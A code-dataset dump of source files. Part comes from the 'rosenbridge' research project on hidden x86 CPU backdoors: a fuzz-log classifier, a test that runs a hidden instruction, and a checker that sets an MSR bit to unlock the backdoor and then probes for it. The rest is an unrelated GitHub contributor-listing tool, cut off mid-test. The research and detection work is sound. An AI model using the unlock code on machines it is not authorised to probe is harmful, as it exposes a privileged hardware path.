for l in lines:
l = l.replace("\r\n", "\n")
if "debian kernel" in l:
# remove kernel messages, which can appear in between others
continue
# temporary hack to correct missing spaces in mmx headers
if "mm0" in l or "mm4" in l:
l = l[:-1] + " " + "\n"
if re.match(HEADER, l):
l = l[re.search(HEADER, l).end():]
if l.strip():
#cleaned_lines.append(l.strip() + '\n')
cleaned_lines.append(l.rstrip("\r\n") + '\n')
lines = cleaned_lines
# parsing
skip = False
for (i, l) in enumerate(lines):
if l.startswith(">------------------"):
# parse start
i_lines = []
state_in = {}
state_out = {}
i_mem = []
o_mem = []
run = None
elif l.startswith("<------------------") or "(timeout - aborting)" in l:
# parse end
if not skip:
if instruction and state_in and state_out and i_mem and o_mem and run is not None:
instructions.append(insn(instruction, state_in, state_out, i_mem, o_mem, run, i_lines))
skip = False
elif l.startswith("(run"):
# parse run
run = int(re.search("^\(run (\d+)\)", l).group(1))
elif l.startswith(". L("):
# parse instruction
instruction = int(re.search("^. L\((.{8})\)", l).group(1), 16)
elif "00 04 08 0c" in l:
# parse memory
i_mem_l = lines[i+1][len(". inject: "):]
o_mem_l = lines[i+2][len(". result: "):]
try:
i_mem = [int(x, 16) for x in i_mem_l.split()]
o_mem = [int(x, 16) for x in o_mem_l.split()]
except:
print "warning: skipping corrupted line %d" % i
skip = True
break
elif any(r in l for r in registers):
# parse state
for r in registers:
if r not in l:
continue
k = l.index(r)
reg_len = re.search("[^ ]", l[k + len(r):]).start() + len(r)
try:
reg_in = int(lines[i+1][k:k+reg_len].replace(" ", ""), 16)
reg_out = int(lines[i+2][k:k+reg_len].replace(" ", ""), 16)
except:
print "warning: skipping corrupted line %d" % i
skip = True
break
state_in[r] = reg_in
state_out[r] = reg_out
for k in xrange(3):
if lines[i + k] not in i_lines:
i_lines.append(lines[i + k])
# shortcut, just print all instructions
if "-ll" in sys.argv:
l = []
for ins in instructions:
l.append("%08x" % ins.instruction)
print "uint32_t twiddle_ins_source[]={"
for i in sorted(set(l)):
print " 0x%s," % i
print "};"
exit(0)
# group multiple runs
ins_runs = {}
for ins in instructions:
if ins.instruction in ins_runs:
ins_runs[ins.instruction].append(ins)
else:
ins_runs[ins.instruction] = [ins]
ins_to_patterns = {}
patterns_to_ins = {}
def add_ins_to_pattern(ins, pattern):
# remove old pattern
if ins in ins_to_patterns:
p = ins_to_patterns[ins]
if p in patterns_to_ins:
patterns_to_ins[p].remove(ins)
# add new pattern
if ins in ins_to_patterns:
ins_to_patterns[ins] = ins_to_patterns[ins].union([pattern])
else:
ins_to_patterns[ins] = frozenset([pattern])
p = ins_to_patterns[ins]
if p in patterns_to_ins:
patterns_to_ins[p].append(ins)
else:
patterns_to_ins[p] = [ins]
def hiword(val):
return (val & 0xffff0000) >> 16
def loword(val):
return val & 0xffff
MIN_RUNS = 1
pattern_name = "word swap"
print
print "==== %s ====" % pattern_name
o = []
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for ri, vi in ins.input_state.items():
vo = ins.output_state[ri]
# ignore target registers that didn't change
if vo == vi:
continue
if loword(vi) == hiword(vo) and hiword(vi) == loword(vo):
if vo != 0: # filter 0 transfers
passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ri, vi, vo)))
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
MIN_RUNS = ALL_RUNS
pattern_name = "lo word copy"
print
print "==== %s ====" % pattern_name
o = []
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for ri, vi in ins.input_state.items():
for ro, vo in ins.output_state.items():
# ignore identical regs
if ri == ro:
continue
# ignore target registers that didn't change
if ins.input_state[ro] == vo:
continue
if loword(vi) == loword(vo) and \
hiword(ins.input_state[ro]) == hiword(vo):
if vo != 0: # filter 0 transfers
passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo)))
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
MIN_RUNS = ALL_RUNS
pattern_name = "hi word copy"
print
print "==== %s ====" % pattern_name
o = []
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for ri, vi in ins.input_state.items():
for ro, vo in ins.output_state.items():
# ignore identical regs
if ri == ro:
continue
# ignore target registers that didn't change
if ins.input_state[ro] == vo:
continue
if loword(vi) == hiword(vo) and \
loword(ins.input_state[ro]) == loword(vo):
if vo != 0: # filter 0 transfers
passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo)))
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
MIN_RUNS = ALL_RUNS
pattern_name = "ins imm load"
print
print "==== %s ====" % pattern_name
o = []
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for ro, vo in ins.output_state.items():
# ignore target registers that didn't change
if ins.input_state[ro] == vo:
continue
if (ins.instruction & 0xffff) == (vo & 0xffff):
if vo != 0: # filter 0 transfers
passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ro, ins.input_state[ro], vo)))
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed
pattern_name = "(pre) register to register xfers"
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
'''
if RUN_2_ARITHMETIC and ins.run != 2:
# only use the randomized run. runs with bit patterns are too
# difficult to separate arithmetic from other effects
continue
'''
for ri, vi in ins.input_state.items():
for ro, vo in ins.output_state.items():
if ri == ro:
continue
# ignore aliases
if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \
ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4":
continue
# ignore target registers that didn't change
if ins.input_state[ro] == vo:
continue
if vi == vo:
if vi != 0: # filter 0 transfers
passed.append((ins, "%s: %s -> %s" % (ins, ri, ro)))
#o.append("%s: %s -> %s" % (ins, ri, ro))
#add_ins_to_pattern(ins, pattern_name)
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# detects some instructions wherein one instruction modifies a register, then
# transfers the result to another
MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed
pattern_name = "(post) register to register xfers"
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
'''
if RUN_2_ARITHMETIC and ins.run != 2:
# only use the randomized run. runs with bit patterns are too
# difficult to separate arithmetic from other effects
continue
'''
ignore = []
found = False
for ri, vi in ins.input_state.items():
for ro, vo in ins.output_state.items():
if ri == ro:
continue
# ignore aliases
if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \
ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4":
continue
if (ri, ro) in ignore:
# we've already found this pair
continue
# if the new value for one register is equal to the new value of
# another register, and the value for the first register changed,
# and the value for the second register changed
if ins.output_state[ri] == ins.output_state[ro] and \
ins.output_state[ri] != ins.input_state[ri] and \
ins.output_state[ro] != ins.input_state[ro]:
if ins.output_state[ri] != 0: # filter 0 "transfers"
# note that there is no easy way to determine the
# transfer direction
'''
o.append("%s: %s <-> %s" % (ins, ri, ro))
add_ins_to_pattern(ins, pattern_name)
ignore.append((ri, ro))
ignore.append((ro, ri))
'''
passed.append((ins, "%s: %s <-> %s" % (ins, ri, ro)))
found = True # stop on first found, no need to record all
break
if found:
break
if found:
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
MIN_RUNS = MEM_RUNS # expect non-pointer runs to fail
pattern_name = "memory writes"
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for (i, b) in enumerate(ins.input_mem):
if b != ins.output_mem[i]:
# find the last changed byte
for k in xrange(len(ins.input_mem) - 1, i - 1, -1):
if ins.output_mem[k] != ins.input_mem[k]:
break
r = "%s: %s -> %s" % (ins, "".join("%02x" % x for x \
in ins.input_mem[i:k+1]), "".join("%02x" % x for x in ins.output_mem[i:k+1]))
passed.append((ins, r))
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# memory reads
def WORD(mem, n):
v = 0
for s in xrange(n):
v = v + (mem[s] << (s * 8))
return v
for n in [1, 2, 4, 8]:
MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
pattern_name = "memory reads, %d byte" % n
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
if n == 1 and ins.run > 1:
continue
found = False
for x in [WORD(ins.input_mem[i:], n) for i in xrange(len(ins.input_mem)-n)]:
if n == 1 and (x == 0 or x == 0xff):
continue
for k, v in ins.output_state.items():
# only counts if the register changed
if ins.input_state[k] == v:
continue
# don't expect a read into an spr
if k in sprs:
continue
# check for other bytes unchanged, zeroed, or oned
if v == x or v == ((ins.input_state[k] & ~((1 << (n * 8)) - 1)) | x) \
or v == (~((1 << (n * 8)) - 1)) | x:
r = "%s: %s: %08x -> %08x" % (ins, k, ins.input_state[k], ins.output_state[k])
'''
o.append(r)
add_ins_to_pattern(ins, pattern_name)
'''
passed.append((ins, r))
found = True # only get one match
if found:
break
if found:
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
def binop_name(s):
return re.findall("^<built-in function (.*)>$", s)[0]
# increments, decrements, push, pop
MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
for v in [1, 2, 4, 8]:
binops = [operator.add, operator.sub]
for b in binops:
o = []
pattern_name = "%s, %d" % (binop_name(str(b)), v)
print
print "==== %s ====" % pattern_name
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
'''
if RUN_2_ARITHMETIC and ins.run != 2:
# only use the randomized run. runs with bit patterns are too
# difficult to separate arithmetic from other effects
continue
'''
done = False
for ki1, vi1 in ins.input_state.items():
# don't expect arithmetic on sprs
if ki1 in sprs:
continue
if b(vi1, v) == ins.output_state[ki1]:
r = "%s: %s: %08x -> %08x" % (\
ins, ki1, vi1, ins.output_state[ki1])
'''
o.append(r)
add_ins_to_pattern(ins, pattern_name)
'''
passed.append((ins, r))
if done:
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# write eip
def DWORD(mem):
return mem[0] + (mem[1]<<8) + (mem[2]<<16) + (mem[3]<<24)
MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
pattern_name = "call (write next eip)"
print
print "==== %s ====" % pattern_name
o = []
DEIS_LENGTH = 7 # 4 plus wrapper
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
eip = ins.input_state["eax"] + DEIS_LENGTH
#for x in [DWORD(ins.output_mem[i:]) for i in xrange(len(ins.input_mem)-4)]:
for i in xrange(len(ins.output_mem) - 4):
x = DWORD(ins.output_mem[i:])
if x == eip:
#o.append("%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x))
#add_ins_to_pattern(ins, pattern_name)
r = "%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x)
passed.append((ins, r))
break # some instructions seem to double write eip, only count them once
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# shifts
MIN_RUNS = ALL_RUNS # expect all runs to succeed
for v in xrange(1,16): # shifts beyond 16 are too hard to distinguish from random small numbers
binops = [operator.lshift, operator.rshift]
for b in binops:
o = []
pattern_name = "%s, %d" % (binop_name(str(b)), v)
print
print "==== %s ====" % pattern_name
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
'''
if RUN_2_ARITHMETIC and ins.run != 2:
# only use the randomized run. runs with bit patterns are too
# difficult to separate arithmetic from other effects
continue
'''
for ki1, vi1 in ins.input_state.items():
# don't expect arithmetic on sprs
if ki1 in sprs:
continue
# shifts to 0 are probably not shifts
if not ins.output_state[ki1]:
continue
#TODO: is it worth exploring shifts into other registers?
result = b(vi1, v) & ((1<<registers[ki1])-1) # mask to register size
if result == ins.output_state[ki1]:
'''
o.append("%s: %s: %08x -> %08x" % (\
ins, ki1, vi1, ins.output_state[ki1]))
add_ins_to_pattern(ins, pattern_name)
'''
r = "%s: %s: %08x -> %08x" % (\
ins, ki1, vi1, ins.output_state[ki1])
passed.append((ins, r))
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# 90s
# currently the fuzzer has a nop-sled after the fuzzed instruction (to catch
# short forward jumps, and generally stabalize the system) ... reading 90's into
# a register suggests an immediate load from a nearby location (similar to ARM)
MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
pattern_name = "immediate load"
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
for k, v in ins.output_state.items():
if v == 0x90909090:
'''
o.append("%s: %s -> %08x" % (ins, k, v))
add_ins_to_pattern(ins, pattern_name)
'''
r = "%s: %s -> %08x" % (ins, k, v)
passed.append((ins, r))
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# binary operations
# these are just insanely slow, do them last
MIN_RUNS = ALL_RUNS # expect all runs to succeed
binops = [operator.add, operator.div, operator.mul, operator.sub, operator.mod, operator.xor, operator.and_, operator.or_]
for b in binops:
pattern_name = "%s" % binop_name(str(b))
print
print "==== %s ====" % pattern_name
o = []
#for ins in instructions:
for ins_run in ins_runs.values():
passed = []
for ins in ins_run:
found = False
'''
if ins.run != 2: # regardless of RUN_2_ARITHMETIC
# only use the randomized run. runs with bit patterns are too
# difficult to separate arithmetic from other effects
continue
'''
for ki1, vi1 in ins.input_state.items():
if ki1 in sprs: # don't expect arithmetic on sprs
continue
for ki2, vi2 in ins.input_state.items():
# disallow identical values (some ops indestinguishable from bit shifts)
if ki1 == ki2:
continue
if ki2 in sprs: # don't expect arithmetic on sprs
continue
for ko, vo in ins.output_state.items():
if ko in sprs: # don't expect arithmetic on sprs
continue
# check result, mask to register size
try:
result = b(vi1, vi2) & ((1<<registers[ko])-1)
except:
# probably a divide by zero or similar
continue
if result < 0x1000 or result > 0xffff0000 or result == vi1 or result == vi2:
# too often coincidental (e.g. mod/div by large number)
continue
if result == vo:
'''
o.append("%s: %s: %08x ... %s: %08x -> %s: %08x" % (\
ins, ki1, vi1, ki2, vi2, ko, vo))
add_ins_to_pattern(ins, pattern_name)
'''
found = True
r = "%s: %s: %08x ... %s: %08x -> %s: %08x" % (\
ins, ki1, vi1, ki2, vi2, ko, vo)
passed.append((ins, r))
break
if found:
break
if found:
break
# if all runs had the same behavior
if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
'''
for (ins, result) in passed:
o.append(result)
add_ins_to_pattern(ins, pattern_name)
'''
# record only the first, don't need all
(ins, result) = passed[0]
o.append(result)
add_ins_to_pattern(ins, pattern_name)
print "\n".join(sorted(list(set(o))))
# summarize pattern groups
print
print "=" * 30 + " summary " + "=" * 30
print
# sort groups by number of patters
pattern_groups = reversed(sorted(patterns_to_ins.items(), key=lambda t: len(t[0])))
for k in pattern_groups:
if not patterns_to_ins[k[0]]:
continue
print "==== pattern ===="
for p in k[0]:
print " p: %s" % p
o = ["%s" % i for i in patterns_to_ins[k[0]]]
for i in sorted(list(set(o))):
print " %s" % i
print
# show all grouped instructions
final = sorted(list(set(str(i) for i in ins_to_patterns)))
print "==== final list (%d instructions) ====" % len(final)
for i in final:
print i
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
test/check_instruction.c | C | /* runs a single deis instruction, used for testing */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define PPC_RFI_BE_2 0x4c000064
#define PPC_RFI_LE_2 0x6400004c
#define PPC_RFI_BE_1 0x62000023
#define PPC_RFI_LE_1 0x23000062
#define INSTRUCTION PPC_RFI_LE_1
typedef struct instruction_t {
unsigned char prefix[3];
unsigned int instruction;
} __attribute__ ((__packed__)) instruction_t;
int main(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
instruction_t* bridge_indirect;
int main(void)
{
extern instruction_t _bridge;
instruction_t* probe=&_bridge;
unsigned int b;
int i;
instruction_t ins;
ins.prefix[0]=0x8d;
ins.prefix[1]=0x84;
ins.prefix[2]=0x00;
ins.instruction=INSTRUCTION;
*probe=ins;
printf("executing...\n");
__asm__ __volatile__ ("\
movl $_bridge, %%eax \n\
movl $_bridge, %%ebx \n\
movl $_bridge, %%ecx \n\
movl $_bridge, %%edx \n\
movl $_bridge, %%ebp \n\
movl $_bridge, %%esp \n\
movl $_bridge, %%esi \n\
movl $_bridge, %%edi \n\
.byte 0x0f, 0x3f \n\
_bridge: \n\
.space 0x1000, 0x90 \n\
"
::
);
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
util/check.c | C | #define _GNU_SOURCE
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <signal.h>
#define BACKDOOR_MSR 0x00001107
#define BACKDOOR_TOGGLE 0x00000001
#define MSR_DEV "/dev/cpu/0/msr"
#if __x86_64__
#define IP REG_RIP
#else
#define IP REG_EIP
#endif
void sig_handler(int signum, siginfo_t* si, void* p)
{
ucontext_t* uc=(ucontext_t*)p;
uc->uc_mcontext.gregs[IP]+=2;
}
void configure_handler(void)
{
struct sigaction s;
s.sa_sigaction=sig_handler;
s.sa_flags=SA_SIGINFO|SA_ONSTACK;
sigfillset(&s.sa_mask);
sigaction(SIGILL, &s, NULL);
}
volatile int psuedo_false=0;
int main(void)
{
FILE* f;
uint64_t v;
f=fopen(MSR_DEV, "rb+");
if (f==NULL) {
printf("! failed to open %s\n", MSR_DEV);
exit(-1);
}
/* unlock the backdoor */
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
/* printf("read.... %08" PRIx64 "\n", v); */
v|=BACKDOOR_TOGGLE;
fseek(f, BACKDOOR_MSR, SEEK_SET);
fwrite(&v, 8, 1, f);
/* printf("wrote... %08" PRIx64 "\n", v); */
fseek(f, BACKDOOR_MSR, SEEK_SET);
fread(&v, 8, 1, f);
/* printf("read.... %08" PRIx64 "\n", v); */
fclose(f);
/* check if the launch deis instruction is enabled */
configure_handler();
__asm__ ("movl $_bridge, %eax");
__asm__ (".byte 0x0f, 0x3f");
if (psuedo_false) { /* probably a better way to do this */
__asm__ ("_bridge:");
printf("executed hidden instruction: backdoor detected.\n");
}
else {
printf("failed to execute hidden instruction: no backdoor detected.\n");
}
return 0;
}
| xoreaxeaxeax/rosenbridge | 2,382 | Hardware backdoors in some x86 CPUs | C | xoreaxeaxeax | domas | |
bin/git-contributor.js | JavaScript | #!/usr/bin/env node
'use strict';
const fs = require('fs');
const path = require('path');
const program = require('commander');
const gen = require('../lib/git-contributor');
program
.option('-m, --markdown', 'auto parse and update README.md')
.option('-p, --print', 'render markdown file')
.option('-u, --url <s>', 'point the github repo\'s url')
.option('-o, --owners <s>', 'read fixed contributor list from file')
.option('-s, --size <size>', 'avatar size: large(100px), medium(80px), small(60px)', 'medium')
.option('-v, --versions', 'output version infomation')
.parse(process.argv);
const options = Object.assign({
markdown: true,
print: true
}, program);
const cwd = process.cwd();
gen.getAuthor(options)
.then(list => {
if (options.markdown) {
fs.readdirSync(cwd)
.filter(item => {
return path.extname(item) === '.md' && item.toLowerCase().includes('readme');
})
.map(item => path.resolve(cwd, item))
.map(readmeFile => {
let readmeContent = fs.readFileSync(readmeFile, 'utf8');
const res = gen.genMarkDown(list.slice(), readmeContent, { size: options.size });
const reg = new RegExp(`${res.startToken}[^]*${res.endToken}`);
if (reg.test(readmeContent)) {
readmeContent = readmeContent.replace(reg, res.content);
} else {
readmeContent += res.content;
}
fs.writeFileSync(readmeFile, readmeContent);
if (options.print) {
console.log(res.content);
}
});
}
})
.catch(e => {
console.log(e);
});
| xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
index.js | JavaScript | 'use strict';
module.exports = require('./lib/git-contributor');
| xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
lib/git-contributor.js | JavaScript | 'use strict';
const _ = require('xutil');
const {
execSync
} = require('child_process');
const fs = require('fs');
const {
parse
} = require('url');
const path = require('path');
const httpclient = require('urllib');
const pkg = require('../package');
const SIZE_MAP = {
large: 100,
medium: 80,
small: 60
};
const gitLog2MailList = () => {
const logs = execSync('git log --pretty="%an <%ae>"').toString();
const list = logs.split(/\n/g).reverse();
return _.uniq(list)
.filter(item => item.length)
.map(item => {
return item.split(/\s+/g).pop();
});
};
const requestGithub = (uri) => {
const options = {
dataType: 'json',
headers: {
'user-agent': Date.now()
},
timeout: 30000
};
if (process.env.OAUTH_TOKEN) {
options.headers['Authorization'] = `token ${process.env.OAUTH_TOKEN}`;
}
return httpclient.request(uri, options).then(res => res.data);
};
const getInfoFromGithub = maillist => {
const api = 'https://api.github.com/search/users?q=';
const tasks = maillist.map(email => {
const uri = `${api}${encodeURIComponent(email + ' in:email type:user')}`;
return requestGithub(uri);
});
return Promise.all(tasks).then(list => {
return list.map(item => {
if (item && item.total_count === 1) {
return item.items[0];
}
});
});
};
const getInfoFromGithubNewAPI = info => {
// https://docs.github.com/en/rest/reference/repos#list-repository-contributors get top 100 contributors
const uri = `https://api.github.com/repos/${info.groupName}/${info.repoName}/contributors?per_page=100`;
return requestGithub(uri);
};
const isBotUser = (login) => {
const botPatterns = [
'github-actions',
'dependabot',
'renovate',
'greenkeeper',
'snyk-bot',
'codecov',
'coveralls'
];
const lowerLogin = login.toLowerCase();
return botPatterns.some(pattern => lowerLogin.includes(pattern)) || lowerLogin.endsWith('[bot]');
};
const format = list => {
return list.filter(item => item && !isBotUser(item.login)).map(item => {
return {
login: item.login,
avatar_url: item.avatar_url,
html_url: item.html_url
};
});
};
const getRepoInfo = async (url) => {
// git@github.com:xudafeng/git-contributor.git
// https://github.com/xudafeng/git-contributor
if (url.slice(0, 4) === 'git@') {
url = url
.replace(':', '/')
.replace('git@', 'http://');
}
url = url
.replace(/\.git$/g, '');
const obj = parse(url);
const arr = obj.pathname.split('/');
return {
groupName: arr[1],
repoName: arr[2]
};
};
const parseOwnersFile = (ownersPath) => {
if (!ownersPath || !_.isExistedFile(ownersPath)) {
return [];
}
const content = fs.readFileSync(ownersPath, 'utf8');
return _.uniq(content.split(/\r?\n/).map(line => line.trim()).filter(Boolean));
};
exports.getAuthor = async (options = {}) => {
const cwd = path.resolve(options.cwd || process.cwd());
const pointGithubRepoUrl = options.url;
const originPkg = path.join(cwd, 'package.json');
const dotGitDir = path.join(cwd, '.git');
const ownersPath = options.owners ? path.resolve(cwd, options.owners) : null;
let authorList = [];
let contributorList = [];
// First, get contributors from GitHub or git log
if (_.isExistedFile(originPkg)) {
try {
const pkg = require(originPkg);
if (pkg.repository) {
let repoUrl;
// repository can be a string or an object with url property
if (typeof pkg.repository === 'string') {
repoUrl = pkg.repository;
} else if (pkg.repository.url) {
repoUrl = pkg.repository.url;
}
if (repoUrl) {
const info = await getRepoInfo(repoUrl);
const infoList = await getInfoFromGithubNewAPI(info);
contributorList = format(infoList);
}
}
} catch (e) {
}
} else if (pointGithubRepoUrl) {
const info = await getRepoInfo(pointGithubRepoUrl);
const infoList = await getInfoFromGithubNewAPI(info);
contributorList = format(infoList);
}
if (!contributorList.length) {
if (!_.isExistedDir(dotGitDir)) {
contributorList = [];
} else {
const mailList = gitLog2MailList();
const infoList = await getInfoFromGithub(_.uniq(mailList));
contributorList = format(infoList);
}
}
// Process owners first (they get priority)
if (ownersPath) {
const owners = parseOwnersFile(ownersPath);
if (owners.length) {
owners.forEach(login => {
// Skip bot users
if (!isBotUser(login)) {
authorList.push({
login,
avatar_url: `https://avatars.githubusercontent.com/${login}?v=4`,
html_url: `https://github.com/${login}`
});
}
});
}
}
// Then append contributors that are not already in the owners list
const ownersLoginSet = new Set(authorList.map(author => author.login));
contributorList.forEach(contributor => {
if (!ownersLoginSet.has(contributor.login)) {
authorList.push(contributor);
}
});
return authorList;
};
const ifHasZh = (readMeContext) => {
let count = 0;
readMeContext.split('').forEach(char => {
if (/[\u4e00-\u9fa5]/.test(char)) count++;
});
return count / readMeContext.length >= 0.1;
};
exports.genMarkDown = (list, readMeContext = '', options = {}) => {
const startToken = '<!-- GITCONTRIBUTOR_START -->';
const endToken = '<!-- GITCONTRIBUTOR_END -->';
const size = SIZE_MAP[options.size] || SIZE_MAP.medium;
const contentFirstLine = [''];
// Adjust columns based on avatar size: smaller avatars allow more columns
const lineMaxMap = {
60: 8, // small
80: 6, // medium
100: 5 // large
};
const lineMax = lineMaxMap[size] || 6;
const contentFirstLineData = list.splice(0, lineMax);
contentFirstLineData.map((item, key) => {
contentFirstLine.push(`[<img src="${item.avatar_url}" width="${size}px;"/><br/><sub><b>${item.login}</b></sub>](${item.html_url})<br/>`);
});
contentFirstLine.push('');
const contentRemaining = [];
list.map((item, key) => {
contentRemaining.push(`[<img src="${item.avatar_url}" width="${size}px;"/><br/><sub><b>${item.login}</b></sub>](${item.html_url})<br/>`);
});
const genLine = (number) => {
const r = [];
while (number--) {
r.push(' :---: ');
}
return r;
};
const genLinesOfN = (content, n) => {
const result = [];
while (content.length > n) {
let line = ['', ...content.splice(0, n), ''].join('|');
result.push(line);
}
result.push(content.join('|'));
return result;
};
const isZH = ifHasZh(readMeContext);
const contributorTitle = isZH ? '贡献者' : 'Contributors';
const footer = isZH ?
`[git-contributor 说明](${pkg.homepage}),自动生成时间:\`${_.moment()}\`。` :
`This project follows the git-contributor [spec](${pkg.homepage}), auto updated at \`${_.moment()}\`.`;
const res = [
startToken,
'',
`## ${contributorTitle}`,
'',
contentFirstLine.join('|'),
`|${genLine(contentFirstLineData.length).join('|')}|`,
...genLinesOfN(contentRemaining, lineMax),
'',
footer,
'',
endToken
];
return {
content: res.join('\n'),
startToken,
endToken
};
};
| xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
test/git-contributor.test.js | JavaScript | 'use strict';
const assert = require('assert');
const fs = require('fs');
const Module = require('module');
const os = require('os');
const path = require('path');
const makeTempDir = () => fs.mkdtempSync(path.join(os.tmpdir(), 'git-contributor-'));
const uniq = list => Array.from(new Set(list));
const loadContributor = ({
execSync,
request,
isExistedFile,
isExistedDir,
moment
} = {}) => {
const stubs = {
child_process: {
execSync: execSync || (() => Buffer.from(''))
},
urllib: {
request: request || (() => Promise.resolve({ data: [] }))
},
xutil: {
uniq,
moment: moment || (() => 'NOW'),
isExistedFile: isExistedFile || (() => false),
isExistedDir: isExistedDir || (() => false)
}
};
const originalLoad = Module._load;
const modulePath = path.join(__dirname, '..', 'lib', 'git-contributor');
Module._load = (requestName, parent, isMain) => {
if (stubs[requestName]) {
